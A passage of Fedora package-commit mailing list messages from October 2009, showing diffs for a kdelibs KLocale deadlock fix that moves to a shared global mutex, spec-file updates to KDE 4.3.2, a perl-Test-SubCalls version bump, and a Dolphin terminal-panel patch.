@@ -499,7 +496,7 @@
                                                        bool &fallback) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -564,7 +561,7 @@
     // fallback is set to true if Transcript evaluation requested so.
 
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     result.clear();
     fallback = false;
@@ -716,7 +713,7 @@
 QVariant KLocalizedStringPrivate::segmentToValue (const QString &seg) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Return invalid variant if segment is either not a proper
     // value reference, or the reference is out of bounds.
@@ -751,7 +748,7 @@
                                                  const QString &final) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -945,7 +942,7 @@
 void KLocalizedStringPrivate::loadTranscript ()
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     s->loadTranscriptCalled = true;
     s->ktrs = NULL; // null indicates that Transcript is not available
@@ -979,7 +976,8 @@
         return;
     }
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    // Very important: do not the mutex here.
+    //QMutexLocker lock(kLocaleMutex());
 
     // Find script modules for all included language/catalogs that have them,
     // and remember their paths.
Index: kdecore/localization/klocale.cpp
===================================================================
--- kdecore/localization/klocale.cpp	(Revision 1032184)
+++ kdecore/localization/klocale.cpp	(Revision 1032185)
@@ -22,6 +22,7 @@
 */
 
 #include "klocale.h"
+#include "klocale_p.h"
 
 #include <config.h>
 
@@ -242,7 +243,6 @@
   // Handling of translation catalogs
   QStringList languageList;
 
-  QMutex* mutex;
   QList<KCatalogName> catalogNames; // list of all catalogs (regardless of language)
   QList<KCatalog> catalogs; // list of all found catalogs, one instance per catalog name and language
   int numberOfSysCatalogs; // number of catalogs that each app draws from
@@ -276,7 +276,6 @@
 KLocalePrivate::KLocalePrivate(const QString& catalog, KConfig *config, const QString &language_, const QString &country_)
     : language(language_),
       country(country_),
-      mutex(new QMutex(QMutex::Recursive)),
       useTranscript(false),
       codecForEncoding(0),
       languages(0), calendar(0),
@@ -311,7 +310,7 @@
 void KLocalePrivate::initMainCatalogs()
 {
   KLocaleStaticData *s = staticData;
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
 
   if (!s->maincatalog.isEmpty()) {
       // If setMainCatalog was called, then we use that (e.g. korgac calls setMainCatalog("korganizer") to use korganizer.po)
@@ -541,7 +540,7 @@
 
 bool KLocalePrivate::setLanguage(const QString & _language, KConfig *config)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   languageList.removeAll( _language );
   languageList.prepend( _language ); // let us consider this language to be the most important one
 
@@ -563,7 +562,7 @@
 
 bool KLocalePrivate::setLanguage(const QStringList & languages)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   // This list might contain
   // 1) some empty strings that we have to eliminate
   // 2) duplicate entries like in de:fr:de, where we have to keep the first occurrence of a language in order
@@ -685,7 +684,7 @@
 
 void KLocale::insertCatalog( const QString & catalog )
 {
-  QMutexLocker lock(d->mutex);
+  QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos != -1) {
         ++d->catalogNames[pos].loadCount;
@@ -736,7 +735,7 @@
 
 void KLocale::removeCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -749,7 +748,7 @@
 
 void KLocale::setActiveCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -759,7 +758,6 @@
 
 KLocale::~KLocale()
 {
-    delete d->mutex;
     delete d->calendar;
     delete d->languages;
     delete d;
@@ -788,7 +786,7 @@
                 << "Fix the program" << endl;
   }
 
-  QMutexLocker locker(mutex);
+  QMutexLocker locker(kLocaleMutex());
   // determine the fallback string
   QString fallback;
   if ( msgid_plural == NULL )
@@ -1370,7 +1368,7 @@
     //Kibi-byte             KiB             2^10    1,024 bytes
 
     if (d->byteSizeFmt.size() == 0) {
-        QMutexLocker lock(d->mutex);
+        QMutexLocker lock(kLocaleMutex());
         // Pretranslated format strings for byte sizes.
         #define CACHEBYTEFMT(x) { \
             QString s; \
@@ -2568,7 +2566,6 @@
 {
   d->languages = 0; // Don't copy languages
   d->calendar = 0; // Don't copy the calendar
-  d->mutex = 0; // Don't copy the mutex
 }
 
 KLocale & KLocale::operator=(const KLocale & rhs)
@@ -2583,8 +2580,7 @@
 
 void KLocale::copyCatalogsTo(KLocale *locale)
 {
-    QMutexLocker lock(d->mutex);
-    QMutexLocker lockOther(locale->d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     locale->d->catalogNames = d->catalogNames;
     locale->d->updateCatalogs();
 }
@@ -2656,3 +2652,9 @@
 {
     return d->dateTimeDigitSet;
 }
+
+Q_GLOBAL_STATIC_WITH_ARGS(QMutex, s_kLocaleMutex, (QMutex::Recursive))
+QMutex* kLocaleMutex()
+{
+    return s_kLocaleMutex();
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-11/.cvsignore,v
retrieving revision 1.75
retrieving revision 1.76
diff -u -p -r1.75 -r1.76
--- .cvsignore	1 Sep 2009 17:41:47 -0000	1.75
+++ .cvsignore	7 Oct 2009 10:49:19 -0000	1.76
@@ -1 +1 @@
-kdelibs-4.3.1.tar.bz2
+kdelibs-4.3.2.tar.bz2


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-11/kdelibs.spec,v
retrieving revision 1.495
retrieving revision 1.496
diff -u -p -r1.495 -r1.496
--- kdelibs.spec	4 Sep 2009 12:25:54 -0000	1.495
+++ kdelibs.spec	7 Oct 2009 10:49:19 -0000	1.496
@@ -3,8 +3,8 @@
 %define strigi_ver 0.7
 
 Summary: K Desktop Environment 4 - Libraries
-Version: 4.3.1
-Release: 3%{?dist}
+Version: 4.3.2
+Release: 2%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -75,9 +75,11 @@ Patch20: kdelibs-4.1.70-cmake.patch
 Patch21: kdelibs-4.3.1-ossl-1.x.patch
 # patch to fix keditbookmarks crash (kde#160679)
 Patch22: kdelibs-4.3.0-bookmarks.patch
+Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream
 # 4.3 branch
+Patch100: kdelibs-4.3.2-kde#209712.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -194,9 +196,13 @@ format for easy browsing.
 %patch20 -p1 -b .xxcmake
 %patch21 -p1 -b .ossl-1.x
 %patch22 -p1 -b .bookmarks
+%if 0%{?rhel} > 5
+%patch24 -p1 -b .drkonq
+%endif
 
 # upstream patches
 # 4.3
+%patch100 -p0 -b .kde#209712
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -263,8 +269,10 @@ do
 done
 popd
 
+%if 0%{?fedora} < 12
 install -p -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/profile.d/kde4.sh
 install -p -m 644 -D %{SOURCE2} %{buildroot}%{_sysconfdir}/profile.d/kde4.csh
+%endif
 
 # fix Sonnet documentation multilib conflict
 bunzip2 %{buildroot}%{_kde4_docdir}/HTML/en/sonnet/index.cache.bz2
@@ -309,12 +317,15 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc AUTHORS README TODO
 %doc COPYING.LIB
+%if 0%{?fedora} < 12
 %config(noreplace) %{_sysconfdir}/profile.d/*
+%endif
 %{_kde4_bindir}/*
 %exclude %{_kde4_bindir}/kconfig_compiler4
 %{_kde4_appsdir}/*
 # kdewidgets
 %exclude %{_kde4_bindir}/makekdewidgets4
+%exclude %{_kde4_bindir}/kde4-doxygen.sh
 %exclude %{_kde4_appsdir}/kdewidgets/
 %exclude %{_kde4_appsdir}/cmake/
 %{_kde4_configdir}/*
@@ -384,6 +395,24 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix a deadlock in KLocale
+
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
+* Wed Sep 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-7
+- move /etc/profile.d/kde4.(sh|csh) to kde-settings (F-12+)
+
+* Mon Sep 21 2009 Than Ngo <than at redhat.com> - 4.3.1-6
+- use abrt for RHEL
+
+* Sat Sep 19 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-5
+- groupdav connect to egroupware failed (kde#186763)
+
+* Fri Sep 18 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-4
+- ship kde4-doxygen.sh only in -devel (fix duplicate file)
+
 * Fri Sep 04 2009 Than Ngo <than at redhat.com> - 4.3.1-3
 - security fix for -CVE-2009-2702
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-11/sources,v
retrieving revision 1.92
retrieving revision 1.93
diff -u -p -r1.92 -r1.93
--- sources	1 Sep 2009 17:41:48 -0000	1.92
+++ sources	7 Oct 2009 10:49:19 -0000	1.93
@@ -1 +1 @@
-df6b6d261d46508c7b0abcdd983ffae2  kdelibs-4.3.1.tar.bz2
+0564ed8ba804a0f3f1cee9732a3d2d72  kdelibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:49:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:49:20 +0000 (UTC)
Subject: rpms/kdelibs/devel .cvsignore,1.80,1.81
Message-ID: <20091007104920.5760511C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10175/devel

Modified Files:
	.cvsignore 
Log Message:
KDE 4.3.2



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/devel/.cvsignore,v
retrieving revision 1.80
retrieving revision 1.81
diff -u -p -r1.80 -r1.81
--- .cvsignore	5 Oct 2009 13:24:57 -0000	1.80
+++ .cvsignore	7 Oct 2009 10:49:20 -0000	1.81
@@ -1,2 +1 @@
-kdelibs-4.3.1.tar.bz2
 kdelibs-4.3.2.tar.bz2



From ltinkl at fedoraproject.org  Wed Oct  7 10:49:20 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 10:49:20 +0000 (UTC)
Subject: rpms/kdelibs/F-12 kdelibs-4.3.2-kde#209712.patch, NONE,
	1.1 .cvsignore, 
	1.79, 1.80 kdelibs.spec, 1.518, 1.519 sources, 1.95, 1.96
Message-ID: <20091007104920.38A6711C00E6@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdelibs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10175/F-12

Modified Files:
	.cvsignore kdelibs.spec sources 
Added Files:
	kdelibs-4.3.2-kde#209712.patch 
Log Message:
KDE 4.3.2


kdelibs-4.3.2-kde#209712.patch:
 klocale.cpp          |   30 ++++++++++++++++--------------
 klocale_p.h          |   10 ++++++++++
 klocalizedstring.cpp |   24 +++++++++++-------------
 3 files changed, 37 insertions(+), 27 deletions(-)

--- NEW FILE kdelibs-4.3.2-kde#209712.patch ---
Index: kdecore/localization/klocale_p.h
===================================================================
--- kdecore/localization/klocale_p.h	(Revision 0)
+++ kdecore/localization/klocale_p.h	(Revision 1032185)
@@ -0,0 +1,10 @@
+#ifndef KLOCALE_P_H
+#define KLOCALE_P_H
+
+class QMutex;
+
+// Used by both KLocale and KLocalizedString, since they call each other.
+QMutex* kLocaleMutex();
+
+#endif /* KLOCALE_P_H */
+
Index: kdecore/localization/klocalizedstring.cpp
===================================================================
--- kdecore/localization/klocalizedstring.cpp	(Revision 1032184)
+++ kdecore/localization/klocalizedstring.cpp	(Revision 1032185)
@@ -24,6 +24,7 @@
 #include <kglobal.h>
 #include <kdebug.h>
 #include <klocale.h>
+#include <klocale_p.h>
 #include <kcomponentdata.h>
 #include <klibrary.h>
 #include <kstandarddirs.h>
@@ -126,8 +127,6 @@
 
     QHash<QString, KuitSemantics*> formatters;
 
-    QMutex mutex;
-
     KLocalizedStringPrivateStatics () :
         theFence("|/|"),
         startInterp("$["),
@@ -144,9 +143,7 @@
 
         translits(),
 
-        formatters(),
-
-        mutex(QMutex::Recursive)
+        formatters()
     {}
 
     ~KLocalizedStringPrivateStatics ()
@@ -216,7 +213,7 @@
 QString KLocalizedStringPrivate::toString (const KLocale *locale) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Assure the message has been supplied.
     if (msg.isEmpty())
@@ -474,7 +471,7 @@
                                              const QString &ctxt) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     QString final = text;
 
@@ -499,7 +496,7 @@
                                                        bool &fallback) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -564,7 +561,7 @@
     // fallback is set to true if Transcript evaluation requested so.
 
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     result.clear();
     fallback = false;
@@ -716,7 +713,7 @@
 QVariant KLocalizedStringPrivate::segmentToValue (const QString &seg) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     // Return invalid variant if segment is either not a proper
     // value reference, or the reference is out of bounds.
@@ -751,7 +748,7 @@
                                                  const QString &final) const
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     if (s->ktrs == NULL)
         // Scripting engine not available.
@@ -945,7 +942,7 @@
 void KLocalizedStringPrivate::loadTranscript ()
 {
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    QMutexLocker lock(kLocaleMutex());
 
     s->loadTranscriptCalled = true;
     s->ktrs = NULL; // null indicates that Transcript is not available
@@ -979,7 +976,8 @@
         return;
     }
     KLocalizedStringPrivateStatics *s = staticsKLSP;
-    QMutexLocker lock(&s->mutex);
+    // Very important: do not the mutex here.
+    //QMutexLocker lock(kLocaleMutex());
 
     // Find script modules for all included language/catalogs that have them,
     // and remember their paths.
Index: kdecore/localization/klocale.cpp
===================================================================
--- kdecore/localization/klocale.cpp	(Revision 1032184)
+++ kdecore/localization/klocale.cpp	(Revision 1032185)
@@ -22,6 +22,7 @@
 */
 
 #include "klocale.h"
+#include "klocale_p.h"
 
 #include <config.h>
 
@@ -242,7 +243,6 @@
   // Handling of translation catalogs
   QStringList languageList;
 
-  QMutex* mutex;
   QList<KCatalogName> catalogNames; // list of all catalogs (regardless of language)
   QList<KCatalog> catalogs; // list of all found catalogs, one instance per catalog name and language
   int numberOfSysCatalogs; // number of catalogs that each app draws from
@@ -276,7 +276,6 @@
 KLocalePrivate::KLocalePrivate(const QString& catalog, KConfig *config, const QString &language_, const QString &country_)
     : language(language_),
       country(country_),
-      mutex(new QMutex(QMutex::Recursive)),
       useTranscript(false),
       codecForEncoding(0),
       languages(0), calendar(0),
@@ -311,7 +310,7 @@
 void KLocalePrivate::initMainCatalogs()
 {
   KLocaleStaticData *s = staticData;
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
 
   if (!s->maincatalog.isEmpty()) {
       // If setMainCatalog was called, then we use that (e.g. korgac calls setMainCatalog("korganizer") to use korganizer.po)
@@ -541,7 +540,7 @@
 
 bool KLocalePrivate::setLanguage(const QString & _language, KConfig *config)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   languageList.removeAll( _language );
   languageList.prepend( _language ); // let us consider this language to be the most important one
 
@@ -563,7 +562,7 @@
 
 bool KLocalePrivate::setLanguage(const QStringList & languages)
 {
-  QMutexLocker lock(mutex);
+  QMutexLocker lock(kLocaleMutex());
   // This list might contain
   // 1) some empty strings that we have to eliminate
   // 2) duplicate entries like in de:fr:de, where we have to keep the first occurrence of a language in order
@@ -685,7 +684,7 @@
 
 void KLocale::insertCatalog( const QString & catalog )
 {
-  QMutexLocker lock(d->mutex);
+  QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos != -1) {
         ++d->catalogNames[pos].loadCount;
@@ -736,7 +735,7 @@
 
 void KLocale::removeCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -749,7 +748,7 @@
 
 void KLocale::setActiveCatalog(const QString &catalog)
 {
-    QMutexLocker lock(d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     int pos = d->catalogNames.indexOf(KCatalogName(catalog));
     if (pos == -1)
         return;
@@ -759,7 +758,6 @@
 
 KLocale::~KLocale()
 {
-    delete d->mutex;
     delete d->calendar;
     delete d->languages;
     delete d;
@@ -788,7 +786,7 @@
                 << "Fix the program" << endl;
   }
 
-  QMutexLocker locker(mutex);
+  QMutexLocker locker(kLocaleMutex());
   // determine the fallback string
   QString fallback;
   if ( msgid_plural == NULL )
@@ -1370,7 +1368,7 @@
     //Kibi-byte             KiB             2^10    1,024 bytes
 
     if (d->byteSizeFmt.size() == 0) {
-        QMutexLocker lock(d->mutex);
+        QMutexLocker lock(kLocaleMutex());
         // Pretranslated format strings for byte sizes.
         #define CACHEBYTEFMT(x) { \
             QString s; \
@@ -2568,7 +2566,6 @@
 {
   d->languages = 0; // Don't copy languages
   d->calendar = 0; // Don't copy the calendar
-  d->mutex = 0; // Don't copy the mutex
 }
 
 KLocale & KLocale::operator=(const KLocale & rhs)
@@ -2583,8 +2580,7 @@
 
 void KLocale::copyCatalogsTo(KLocale *locale)
 {
-    QMutexLocker lock(d->mutex);
-    QMutexLocker lockOther(locale->d->mutex);
+    QMutexLocker lock(kLocaleMutex());
     locale->d->catalogNames = d->catalogNames;
     locale->d->updateCatalogs();
 }
@@ -2656,3 +2652,9 @@
 {
     return d->dateTimeDigitSet;
 }
+
+Q_GLOBAL_STATIC_WITH_ARGS(QMutex, s_kLocaleMutex, (QMutex::Recursive))
+QMutex* kLocaleMutex()
+{
+    return s_kLocaleMutex();
+}


Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-12/.cvsignore,v
retrieving revision 1.79
retrieving revision 1.80
diff -u -p -r1.79 -r1.80
--- .cvsignore	1 Sep 2009 17:41:48 -0000	1.79
+++ .cvsignore	7 Oct 2009 10:49:19 -0000	1.80
@@ -1 +1 @@
-kdelibs-4.3.1.tar.bz2
+kdelibs-4.3.2.tar.bz2


Index: kdelibs.spec
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-12/kdelibs.spec,v
retrieving revision 1.518
retrieving revision 1.519
diff -u -p -r1.518 -r1.519
--- kdelibs.spec	23 Sep 2009 19:40:39 -0000	1.518
+++ kdelibs.spec	7 Oct 2009 10:49:19 -0000	1.519
@@ -3,8 +3,8 @@
 %define strigi_ver 0.7
 
 Summary: K Desktop Environment 4 - Libraries
-Version: 4.3.1
-Release: 7%{?dist}
+Version: 4.3.2
+Release: 2%{?dist}
 
 Name: kdelibs
 Epoch: 6
@@ -75,12 +75,11 @@ Patch20: kdelibs-4.1.70-cmake.patch
 Patch21: kdelibs-4.3.1-ossl-1.x.patch
 # patch to fix keditbookmarks crash (kde#160679)
 Patch22: kdelibs-4.3.0-bookmarks.patch
-# http://bugs.kde.org/186763
-Patch23: kdelibs-4.3.1-kde186763.patch
 Patch24: kdelibs-4.3.1-drkonq.patch
 
 # upstream
 # 4.3 branch
+Patch100: kdelibs-4.3.2-kde#209712.patch
 
 # security fix
 Patch200: kdelibs-4.3.1-CVE-2009-2702.patch
@@ -197,13 +196,13 @@ format for easy browsing.
 %patch20 -p1 -b .xxcmake
 %patch21 -p1 -b .ossl-1.x
 %patch22 -p1 -b .bookmarks
-%patch23 -p1 -b .kde186763
 %if 0%{?rhel} > 5
 %patch24 -p1 -b .drkonq
 %endif
 
 # upstream patches
 # 4.3
+%patch100 -p0 -b .kde#209712
 
 # security fix
 %patch200 -p1 -b .CVE-2009-2702
@@ -396,6 +395,12 @@ rm -rf %{buildroot}
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix a deadlock in KLocale
+
+* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
+- 4.3.2
+
 * Wed Sep 23 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-7
 - move /etc/profile.d/kde4.(sh|csh) to kde-settings (F-12+)
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/kdelibs/F-12/sources,v
retrieving revision 1.95
retrieving revision 1.96
diff -u -p -r1.95 -r1.96
--- sources	28 Aug 2009 14:14:08 -0000	1.95
+++ sources	7 Oct 2009 10:49:20 -0000	1.96
@@ -1 +1 @@
-df6b6d261d46508c7b0abcdd983ffae2  kdelibs-4.3.1.tar.bz2
+0564ed8ba804a0f3f1cee9732a3d2d72  kdelibs-4.3.2.tar.bz2



From mmaslano at fedoraproject.org  Wed Oct  7 10:50:46 2009
From: mmaslano at fedoraproject.org (=?utf-8?b?TWFyY2VsYSBNYcWhbMOhxYhvdsOh?=)
Date: Wed,  7 Oct 2009 10:50:46 +0000 (UTC)
Subject: rpms/perl-Test-SubCalls/devel .cvsignore, 1.5,
	1.6 perl-Test-SubCalls.spec, 1.9, 1.10 sources, 1.5, 1.6
Message-ID: <20091007105046.74D1B11C02A1@cvs1.fedora.phx.redhat.com>

Author: mmaslano

Update of /cvs/pkgs/rpms/perl-Test-SubCalls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10538

Modified Files:
	.cvsignore perl-Test-SubCalls.spec sources 
Log Message:
* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.09-1
- update to new upstream release



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Test-SubCalls/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	6 Oct 2008 06:32:58 -0000	1.5
+++ .cvsignore	7 Oct 2009 10:50:46 -0000	1.6
@@ -1 +1 @@
-Test-SubCalls-1.08.tar.gz
+Test-SubCalls-1.09.tar.gz


Index: perl-Test-SubCalls.spec
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Test-SubCalls/devel/perl-Test-SubCalls.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- perl-Test-SubCalls.spec	26 Jul 2009 16:57:31 -0000	1.9
+++ perl-Test-SubCalls.spec	7 Oct 2009 10:50:46 -0000	1.10
@@ -1,6 +1,6 @@
 Name:           perl-Test-SubCalls
-Version:        1.08
-Release:        3%{?dist}
+Version:        1.09
+Release:        1%{?dist}
 Summary:        Track the number of times subs are called
 
 Group:          Development/Libraries
@@ -64,6 +64,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct  7 2009 Marcela Ma?l??ov? <mmaslano at redhat.com> - 1.09-1
+- update to new upstream release
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.08-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/perl-Test-SubCalls/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	6 Oct 2008 06:32:58 -0000	1.5
+++ sources	7 Oct 2009 10:50:46 -0000	1.6
@@ -1 +1 @@
-d21b091c76e168f8aad11b3a256eb18b  Test-SubCalls-1.08.tar.gz
+975a9fe8d93ef0298fc1bca8f03166e1  Test-SubCalls-1.09.tar.gz



From ltinkl at fedoraproject.org  Wed Oct  7 11:00:14 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:00:14 +0000 (UTC)
Subject: rpms/kdebase/F-11 kdebase-4.3.2-dolphin-kde#202176.patch, NONE,
	1.1 kdebase.spec, 1.381, 1.382
Message-ID: <20091007110014.52F7C11C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13382/F-11

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-dolphin-kde#202176.patch 
Log Message:
sync with devel/


kdebase-4.3.2-dolphin-kde#202176.patch:
 terminalpanel.cpp |    6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

--- NEW FILE kdebase-4.3.2-dolphin-kde#202176.patch ---
diff -up kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp
--- kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig	2009-10-07 12:28:46.000000000 +0200
+++ kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp	2009-10-07 12:31:09.000000000 +0200
@@ -23,7 +23,6 @@
 #include <kde_terminal_interface_v2.h>
 #include <kparts/part.h>
 #include <kshell.h>
-#include <kio/netaccess.h>
 
 #include <QBoxLayout>
 #include <QShowEvent>
@@ -58,13 +57,12 @@ void TerminalPanel::setUrl(const KUrl& u
     }
 
     Panel::setUrl(url);
-    KUrl mostLocalUrl = KIO::NetAccess::mostLocalUrl(url, 0);
     const bool sendInput = (m_terminal != 0)
                            && (m_terminal->foregroundProcessId() == -1)
                            && isVisible()
-                           && mostLocalUrl.isLocalFile();
+                           && url.isLocalFile();
     if (sendInput) {
-        m_terminal->sendInput("cd " + KShell::quoteArg(mostLocalUrl.toLocalFile()) + '\n');
+        m_terminal->sendInput("cd " + KShell::quoteArg(url.toLocalFile()) + '\n');
     }
 
 }


Index: kdebase.spec
===================================================================
RCS file: /cvs/extras/rpms/kdebase/F-11/kdebase.spec,v
retrieving revision 1.381
retrieving revision 1.382
diff -u -p -r1.381 -r1.382
--- kdebase.spec	6 Oct 2009 12:49:19 -0000	1.381
+++ kdebase.spec	7 Oct 2009 11:00:13 -0000	1.382
@@ -1,7 +1,7 @@
 Name: kdebase
 Summary: K Desktop Environment 4 - Core Files
 Version: 4.3.2
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 6
 
 License: GPLv2
@@ -15,6 +15,9 @@ Patch0:   kdebase-4.1.80-nsplugins-paths
 Patch1:   kdebase-4.1.70-konsole-session.patch
 Patch2:   kdebase-4.2.1-home-icon.patch
 
+# 4.3 upstream patches
+Patch100: kdebase-4.3.2-dolphin-kde#202176.patch
+
 %ifnarch s390 s390x
 Requires: eject
 %endif
@@ -107,6 +110,9 @@ Requires: kdelibs4-devel kdepimlibs4-dev
 %patch1 -p1 -b .konsole-session
 %patch2 -p1 -b .home-icon
 
+# 4.3 upstream patches
+%patch100 -p1 -b .dolphin-kde#202176
+
 # fix incorrect assumption that we're building in a combined kdebase tree
 sed -i -e 's/EXISTS "${kdebase_SOURCE_DIR}"/0/g' apps/CMakeLists.txt
 
@@ -228,6 +234,9 @@ fi
 
 
 %changelog
+* Wed Oct 07 2009 Than Ngo <than at redhat.com> - 4.3.2-2
+- fix Dolphin crash (regression)
+
 * Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.3.2-1
 - 4.3.2
 



From ltinkl at fedoraproject.org  Wed Oct  7 11:00:13 2009
From: ltinkl at fedoraproject.org (Lukas Tinkl)
Date: Wed,  7 Oct 2009 11:00:13 +0000 (UTC)
Subject: rpms/kdebase/F-10 kdebase-4.3.2-dolphin-kde#202176.patch, NONE,
	1.1 kdebase.spec, 1.371, 1.372
Message-ID: <20091007110013.AB7F511C02A3@cvs1.fedora.phx.redhat.com>

Author: ltinkl

Update of /cvs/extras/rpms/kdebase/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13382/F-10

Modified Files:
	kdebase.spec 
Added Files:
	kdebase-4.3.2-dolphin-kde#202176.patch 
Log Message:
sync with devel/


kdebase-4.3.2-dolphin-kde#202176.patch:
 terminalpanel.cpp |    6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

--- NEW FILE kdebase-4.3.2-dolphin-kde#202176.patch ---
diff -up kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp.orig kdebase-4.3.2/apps/dolphin/src/panels/terminal/terminalpanel.cpp
